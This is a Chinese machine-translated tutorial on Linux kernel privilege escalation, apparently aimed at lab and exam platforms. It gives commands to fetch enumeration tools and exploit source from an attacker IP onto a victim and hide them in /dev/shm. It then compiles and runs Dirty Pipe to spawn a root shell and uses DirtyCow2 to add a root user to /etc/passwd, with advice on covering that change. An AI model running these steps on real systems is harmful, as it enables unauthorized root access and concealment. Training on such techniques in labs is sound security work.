Linux 提权-内核利用

本文通过 Google 翻译 Kernel Exploits – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在这篇文章中,我们将探索可用于从标准用户到 root 的 Linux 权限提升的各种内核漏洞。

我们将首先使用各种命令来查找受害主机上的内核版本。然后,我们将看到多种方法来查找针对我们目标内核版本的内核漏洞。最后,我们将看到六种不同内核漏洞的演示,这些漏洞涵盖了从 2010 年到现在的几乎所有内核版本。

1、内核简介

当谈到内核时,了解它的用途非常重要,这样我们才能理解它为何容易受到攻击。

内核本质上是一种促进硬件和软件之间交互的“计算机程序”。这意味着内核位于应用程序(软件)和 CPU/内存/设备/等(硬件)之间。内核的工作是将来自软件的输入/输出(I/O)请求转换为在软件和硬件之间交互的指令集。

内核是继引导加载程序之后加载的第一个程序。加载后,它控制和协调其他所有程序和进程,并确保正确分配内存。

如果您有兴趣了解 Windows 内核漏洞,请查看我关于该主题的两篇文章herehere

2、寻找内核漏洞

对于第一个示例,我们假设已经作为标准用户在 Linux 机器上获得了立足点。

获得立足点后我们需要做的第一件事就是将 shell 升级到完整的 TTY【如果目标环境支持python的话】,我们可以使用以下命令来完成这项工作:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm

现在我们有了完整的 TTY,我们可以使用箭头浏览命令历史记录、使用制表符补全、清除终端等。

2.1、发现内核版本

在寻找内核漏洞时,我们需要枚举的第一件事是目标主机上的内核版本。这可以通过几种不同的方式来完成,首先是使用带有 -r 开关的 uname 命令,它只会告诉我们内核版本本身。

uname -r

但是,我们想从目标收集更多信息,因此我们可以再次使用 uname 命令,但这次使用 -a 开关,它将为我们提供 Linux 风格、内核版本和架构。

uname -a

同样的,我们还可以从位于/proc/version的文件中获取此信息。

cat /proc/version

输出显示该内核相当新,因为它运行的是 5.13 版本。我们可以通过在 Wikipedia 页面上查找内核版本来确认内核的发布日期。

这告诉我们该内核于 2021 年 6 月 27 日发布,因此我们需要找到该内核版本被发布后披露的漏洞。

2.2、手动查找内核漏洞

现在我们已经确定内核版本为5.13,我们可以通过几种方法来搜索合适的漏洞利用。

2.2.1、通过 Google 查找内核漏洞

搜索内核漏洞的第一种方法是获取我们枚举的内核版本信息,然后在 Google 上搜索该内核版本容易受到攻击的任何漏洞。

作为一名黑客,Google 技能非常重要,只要有机会就磨练它们!

我们从广泛搜索开始:Linux kernel 5.13 exploit

第一个结果通常来自 CVE-Details、Vulnmon 等,这有助于概述我们可以使用的潜在漏洞;然而,向下滚动我们开始看到一些我们更感兴趣的页面。

这两个漏洞利用看起来很有希望,因为它们都提到了内核版本 5.13。此外,它们也都提到了 Ubuntu,我们知道这是我们的目标正在运行的 Linux 版本。

我们可以阅读 Dirty Pipe 上的这些博客文章,以便更好地了解该漏洞是什么;但是,我们可以看到,最热门的漏洞托管在 GitHub 上,我们很可能在那里找到托管的任何内核版本的大多数内核漏洞,因此让我们稍微编辑一下搜索以包括 github,如: Linux kernel 5.13 exploit github

在这里我们可以看到,当将github关键字添加到搜索条件中时,这两个漏洞都是最热门的结果,并且是第三个要测试的潜在漏洞!现在让我们看看它们的作用。

在阅读了这三个exploit之后,第三个漏洞 "Dirty Pipe "无疑是最有希望的,因为它影响的内核范围比其他漏洞更大。

现在我们可以通过几种方法来做到这一点。由于我们喜欢 Dirty Pipe 的方式,因此我们可以尝试我们找到的那个,或者,我们可以进行新的 Google 搜索以找到更多要测试的exploit。例如:Dirty Pipe github

我们马上可以看到前 4 个结果都是我们可以测试的 Dirty Pipe 的不同“版本”(相同的漏洞但是是来自不同的作者或使用不同的技术而实现的利用代码)。

查看最上面的结果,有两种方法可以利用这个漏洞,其中第 2 种看起来最简单,因为它只需要一个 SUID 二进制文件就可以利用,而我们知道 Linux 上有很多这样的二进制文件。

现在我们只需要复制exploit2的原始脚本并将其粘贴到攻击者机器上的文本编辑器中。可以在此处找到要复制的原始脚本。

现在我们在攻击者的机器上已经拥有了该exploit,然后我们需要对其进行编译;然而,在我们进行这一步之前,让我们用另一种方法来手动查找该内核版本的exploit。

2.2.2、使用 Searchsploit 查找内核漏洞

Kali 中预装了一个很棒的工具,即searchsploit,它是一个用于从exploit-db数据库中搜索漏洞的工具。由于exploit-db(Offesnive Security)的创建者也维护着Kali,因此将其打包在一起是合情合理的。

对我们来说,这意味着exploit-db上的每个漏洞利用都已经在我们的攻击者机器上,我们只需要使用searchsploit来找到它们,然后我们就可以将它们复制到我们的工作目录中。

将使用 searchsploit 找到的漏洞复制或镜像到我们的工作目录中,而不是操纵原始文件本身,这一点很重要。保持原始文件干净,并制作副本以供摆弄。

与我们使用 Google 搜索漏洞时不同,searchsploit 中的大多数内核漏洞都有版本范围。这意味着我们无法专门搜索内核 5.13,因为过于具体可能无法为我们提供匹配项。相反,我们可以仅使用 5. 作为搜索,以便提供所有 5.x 结果。

首先,我们要从广泛的范围开始,然后在开始获得结果时缩小搜索范围。

searchsploit linux kernel 5.

向下滚动,我们可以看到一些5.x内核版本的漏洞利用;但是,我们的目标内核版本是5.13,它属于 DirtyPipe 的范围(介于5.8 到 5.16.11 之间)。这个漏洞非常适合我们的需求!

现在有两种方法可以将此漏洞复制到我们的工作目录中。首先,我们可以使用searchsploit镜像它,如下所示:

searchsploit -m 50808.c

或者,我们可以在系统上找到该文件,然后将其复制到我们的工作目录中。

locate linux/local/50808.c

现在我们可以使用cp命令将其复制到我们的工作目录,并在执行时将其命名为我们喜欢的任何名称。

好的,现在我们在攻击者机器上已经有了这个漏洞的两个副本可供编译;但是,让我们看看如何使用工具来快速枚举内核漏洞。

2.3、自动查找内核漏洞

在本节中,我们将重点介绍使用两种不同的工具来帮助我们快速找到可用于攻击目标的潜在内核漏洞。我们将使用的工具是LinPEASLinux-Exploit-Suggester。请按照提供的链接下载这两个文件。

将这两个工具下载到攻击者计算机上后,我们需要将文件传输给受害者。为此,我们可以快速设置一个 Python HTTP 服务器,如下所示:

python3 -m http.server 80

现在我们可以使用 wget 或 curl 将文件下载到受害者上。

最好有“下载”命令的选项,因为您可能会发现系统上未安装其中一个。实际上,经常会发现默认情况下没有安装curl,但wget通常是安装的。

首先,我们需要导航到受害者上的一个可写文件夹,以将我们的工具下载到其中。大多数人喜欢使用/tmp来实现此目的,但让我们更隐蔽一点,使用另一个允许我们读写的内置目录:/dev/shm

cd /dev/shm
wget http://172.16.1.30/linpeas.sh
curl http://172.16.1.30/linux-exploit-suggester.sh -o linux-exploit-suggester.sh

现在这两个工具都在受害者机器上,我们需要授予它们执行权限。可以通过以下两种方式之一添加执行位来完成。

chmod 755 linpeas.sh
chmod +x linux-exploit-suggester.sh

我将尝试简要地解释 755。上面有三组 RWX,分别代表用户 | 组 | 其它。二进制中的 RWX 分别为 421(r = 4、w = 2、x = 1)。数字组合可以从 1 到 7,以打开读取、写入和执行。例如,5 = r-x;7 = rwx;2 = -w-等。

现在这两个程序都授予了执行权限,让我们看看它们可以为我们提供哪些有关内核漏洞利用的信息,从 Linux Exploit Suggester 开始。

2.3.1、Linux Exploit Suggester

Linux Exploit Suggester 是一款专门用于查找内核漏洞的工具,因此从这个工具开始是有意义的。

我们可以简单地在受害者上执行脚本并看看它告诉我们什么。

./linux-exploit-suggester.sh

在这里我们可以看到相当多的漏洞是“probable”,这是一个很好的迹象,表明其中一个应该有效。这些漏洞利用从新到旧按字母数字顺序输出,因此我们可以开始自上而下或自下而上地测试这些漏洞。由于最新的在顶部,所以让我们自上而下。 我们有 DirtyPipe 就在上面,所以这将是我们第一个要尝试的!

Exploit Suggester 为我们提供了一个下载漏洞的 URL,但我们自己已经从 Google 和 searchsploit 获得了几个副本,因此我们将继续并了解如何使用 LinPEAS 为我们查找此信息,而不是下载另一个副本。

2.3.2、LinPEAS

我们可以用来寻找内核漏洞的另一个很棒的工具是 LinPEAS。

LinPEAS 是一款终极枚举工具,可提供大量信息。信息量如此之大,以至于让人应接不暇。因此,最好先手动枚举,然后在使用 PEAS 之前使用 Linux-Exploit-Suggester。这样,我们就可以在需要解析 LinPEAS 输出之前快速取胜。

一般来说,在运行 LinPEAS 时,我们会在不带参数的情况下运行它,以进行 "所有检查",然后从上到下逐行检查所有输出。

运行完整扫描时的一个好技巧是将 PEAS 的输出重定向到一个文件,以便使用 grep快速解析常见漏洞。

对我们来说幸运的是,内核漏洞显示在系统信息部分的输出顶部附近。

./linpeas.sh

首先,我们会发现 CVE 的检查位于潜在漏洞之前,这强烈表明该机器容易受到两个内核漏洞的攻击。其中一个当然是 CVE-2022-0847 或 DirtyPipe。

接下来,如果我们进一步向下滚动,我们将看到 Linux-Exploit-Suggester 实际上已合并到 LinPEAS 中,因此我们看到的输出与之前的输出大致相同。

这里我们看到 dirtypipe 再次名列前茅。然而,真正令人欣慰的是 CVE 的检查。这让我们在选择内核漏洞时更加有信心,因此,我们可以自信地说 dirtypipe 应该可以对抗这个目标机器。

3、编译/执行内核漏洞

通常,在攻击 Linux 受害者时(尤其是使用内核漏洞时),我们会发现有四种编译漏洞的方法。如果受害者机器安装了 gcc,我们可以直接在受害者机器上编译漏洞(最佳情况);或者我们可以在攻击者机器上编译漏洞(不太好);亦或是我们可以下载我们瞄准的内核的 VM,然后在那里编译漏洞(也不太好);最后,我们也可以在 GitHub 上找到预编译的漏洞。

在寻找预编译漏洞时,您可能不会在网上找到很多好的资源。可以使用的一个链接是此处的链接here但该存储库已经 5 年没有更新了,因此缺少许多新的好漏洞。

专业提示: 在 htb、thm 等平台上攻击机器时,最好利用这些机器开始构建您自己的预编译漏洞利用库。只需在目标计算机上编译它们,然后将它们发送回攻击者即可。

3.1、检查受害机编译环境

理想情况下,最好的情况是发现受害者安装了 gcc,这样我们就可以直接在受害者上编译漏洞。这很重要,因为内核漏洞需要在被利用的内核上编译,或者在非常接近的内核上编译。

有几种方法可以检查受害者是否安装了gcc 。

首先,我们可以尝试运行 gcc 并看看它说了什么。它要么会说需要安装,要么会告诉您如何正确使用该命令。不管怎样,这都会告诉我们gcc是否在系统上。至少,它告诉我们gcc是否在我们的 PATH 中。

gcc

这个错误告诉我们gcc已经安装了,这就完美了!现在我们知道我们将能够将漏洞利用的C文件传输到受害者上,然后在那里进行编译。

如果 gcc 不在你的 PATH 中,而它又说你需要安装它,那么不要马上放弃。你永远不知道 gcc 是否恰好在系统的其他地方,而不在你的 PATH 中。虽然机会渺茫,但还是应该检查一下。

要查找系统上gcc的所有实例,我们可以使用find命令。

find / -iname "gcc" 2>/dev/null

我们可以看到这里找到了很多gcc的实例;然而,其中很多都是目录。/usr/bin/gcc位置在我们的 PATH 中置,这就是为什么我们可以通过调用命令gcc来执行它,而不需要二进制文件的完整路径。

再此,如果我们发现 gcc 确实没有安装,那我们就应该进行这个搜索,然后检查这些以确认它确实不在系统上,然后再放弃。

3.2、在受害机编译并执行 DirtyPipe

现在我们已经发现受害者上安装了gcc ,我们可以继续通过 HTTP 服务器再次发送我们的漏洞利用程序。

在这个例子中,我们将使用通过searchsploit发现的漏洞,并将其重命名为dirty_pipe.c

然后再次使用curl,我们可以将文件下载到受害者的 /dev/shm 目录中。

curl 172.16.1.30/dirty_pipe.c -o dirty_pipe.c

现在受害者身上有了漏洞利用程序,我们就不需要更改该文件的权限了,因为它还不是可执行文件,但我们仍然需要编译它。

在我们运行 gcc 及其基本语法之前,我们应该先检查漏洞的注释,看看是否有关于如何编译或执行此漏洞的具体说明。为此,我们可以使用 head 命令检查前 50 行左右,看看它说了什么。

head -50 dirty_pipe.c

这里我们可以看到如何使用漏洞的示例;但是,没有关于如何编译的信息。这个示例还不错,但不是很好。

由于没有编译此漏洞的特殊说明,我们可以假设它可以使用基本的gcc语法进行编译。

gcc dirty_pipe.c -o dirty_pipe

编译漏洞时,我们没有收到任何错误,这表明漏洞已成功编译。

在我们继续尝试按照示例进行操作之前,试着执行二进制文件,看看它是怎么说的,可能会更容易一些。

./dirty_pipe

这里的输出告诉我们,我们需要做的就是提供 SUID 二进制文件的路径。此外,如果我们进一步向下滚动,我们可以看到有关此漏洞利用的更多信息。

这告诉我们,漏洞会将“sh”复制到 /tmp/sh 中,然后赋予其 SUID 权限 (4755)。让我们使用 su 之类的任意 SUID 二进制文件来测试它。

./dirty_pipe /usr/bin/su

BOOM!该漏洞利用有效,我们可以看到它在 /tmp 文件夹中创建了一个 SUID 'sh' 二进制文件,该漏洞利用程序“放入”其中,以向我们提供 root shell!

3.3、在其他机器编译内核漏洞

如前所述,还有一些其他方法可以编译内核漏洞,当受害计算机未安装gcc时了解这些方法很有用。

在这种情况下,我们需要在另一台机器上编译漏洞利用程序,然后将其传输给受害者。一般来说,这可以通过两种方式完成,要么从我们的攻击者机器上,要么通过创建一个与受害者具有相同或非常接近相同内核的新虚拟机。

对于这些情况,我们将按照直接在受害者上编译漏洞时所做的操作进行操作。这将包括检查编译和执行指令的注释,然后编译漏洞利用程序。接下来,我们会将漏洞转移到受害者身上,然后授予其执行权限,然后弹出它并获取 root shell。

4、多种内核漏洞利用示例

正如本文开头提到的,我们将回顾 6 个内核漏洞。我们已经探索了DirtyPipe,所以现在让我们看一下更多的内容,包括 half-nelson / full-nelson、memodipper、DirtyCow / DirtyCow2 和 eBPF verifier。

我选择这些特定漏洞的原因,是因为它们涵盖了 2010 年至今的几乎所有内核。

对于下面的所有示例,我们假设受害者安装了gcc

4.1、Half-Nelson/Full-Nelson 示例

CVE:2010-4073 – Half-Nelson

  • Kernels:2.6.0、2.6.1、2.6.2、2.6.3、2.6.4、2.6.5、2.6.6、2.6.7、2.6.8、2.6.9、2.6.10、2.6.11、 2.6.12、2.6.13、2.6.14、2.6.15、2.6.16、2.6.17、2.6.18、2.6.19、2.6.20、2.6.21、2.6.22、2.6.23、2.6。 24、2.6.25、2.6.26、2.6.27、2.6.28、2.6.29、2.6.30、2.6.31、2.6.32、2.6.33、2.6.34、2.6.35、2.6.36

CVE:2010-4258 – Full-Nelson

  • Kernels:2.6.31、2.6.32、2.6.35、2.6.37

使用searchsploit查找漏洞,如下所示:

searchsploit nelson

获取两者的副本,或者您想要使用的任何一个,然后再次使用head命令检查注释。

看起来很简单,现在我们可以将其传输到我们的受害者机器,编译它,然后获取我们的 root shell。

4.2、Memodipper 示例

CVE:2012-0056 – Memodipper

  • Kernels:2.6.39、3.0.0、3.0.1、3.0.2、3.0.3、3.0.4、3.0.5、3.0.6、3.1.0

使用searchsploit查找漏洞,如下所示:

searchsploit dipper

为此,我会选择第二个,因为它似乎是原始漏洞利用的更新版本。您会经常在 searchsploit 中看到这一点,即发布了漏洞利用的更新版本,您可以选择使用较新的版本或原始版本。

获取较新版本的副本,然后再次使用head命令检查注释。

上面我们可以看到没有有关编译的说明,因此我们可以假设它可以使用基本语法。

现在我们可以将其传输到我们的受害者机器,编译它,然后获取我们的 root shell。

4.3、DirtyCow/DirtyCow2 示例

CVE:2016-5195 – DirtyCow

  • Kernels:2.6.22 <= 3.9(and some 4.x)【请注意,在该范围之间有相当多的修补版本,要查找已修补的内容,请查看此处的链接。】

使用searchsploit查找漏洞,如下所示:

searchsploit dirty cow

如您所见,这里有两种方法。最上面的一个方法被称为“pokemon”方法--也被称为“DitryCow2”;另一个是竞争条件,就是标准的 DirtyCow。

我个人喜欢使用 DitryCow2,因为与原版相比,我用它取得了更多的成功。

获取 DirtyCow2 的副本,然后再次使用head命令检查注释。

这里我们可以看到一些特殊的编译指令,这就是为什么我们总是检查注释。如果我们尝试使用gcc进行基本语法来编译它,它将无法工作。我们还可以看到如何执行它,所以让我们测试一下吧!

就像我们迄今为止看到的其他漏洞一样,我们现在可以将其传输到受害者计算机上,编译它,然后获取我们的 root shell。

编译并执行漏洞利用程序后,系统会提示我们输入密码;按 Enter 键,我们将其设置为空白。现在我们必须检查/etc/passwd文件以确认我们已经覆盖了 root 用户。

cat /etc/passwd

Amazing!它起作用了,我们用“Firefart”替换了 root 用户。现在,正如评论所说,我们可以使用su以 firefart 或ssh身份登录。为了让我们更轻松,让我们使用命令su firefart,然后在提示输入密码时按 Enter。

Amazing!我们获得了 root 权限!现在我们可以简单地使用创建的备份恢复 passwd 文件,并假装这件事从未发生过 ,同时保持登录 firefart 即 root 权限!

4.4、eBPF Verifier示例

CVE:2017-16995 – eBPF_Verifier

  • Kernels:4.4.0-x < 4.13.x(也可能包括较旧的内核)

使用searchsploit查找漏洞,如下所示:

searchsploit 4.13.9

获取 45010.c (eBPF_verifier) 的副本,然后使用head命令检查注释。

这里的注释表明该漏洞利用程序只是使用基本的gcc语法进行编译的。此外,我们还可以看到漏洞成功执行时的样子。

现在我们可以将其传输到我们的受害者机器,编译它,然后获取我们的 root shell。

5、最后的想法

内容太多了!但是,我们只介绍了新旧内核版本中的大部分最佳内核漏洞。还有很多不错的漏洞,但这足以让您很好地了解内核漏洞的工作原理以及要寻找哪些漏洞。

内核漏洞利用有几个注意事项:

  • 在 HackTheBox、TryHackMe、PG Practice、PWK labs 等平台上进行黑客攻击时,不要在看到内核漏洞利用程序时直接使用它。我建议你枚举一下它,并将其放在您的后口袋中,因为十之八九的内核利用不是预期的方法。花点时间尝试找到预期的路线,如果最终实在找不到任何东西,那么就寻找内核漏洞。
  • 如果一开始没有成功,那就再试一次。如果内核漏洞在第一次弹出时不起作用,请再试几次。恢复机器并重试。相信我,这可以为你节省几个小时,因为你只有 24 小时的时间来破解多个机器。
posted @ 2024-06-04 16:00  扛枪的书生  阅读(425)  评论(0编辑  收藏  举报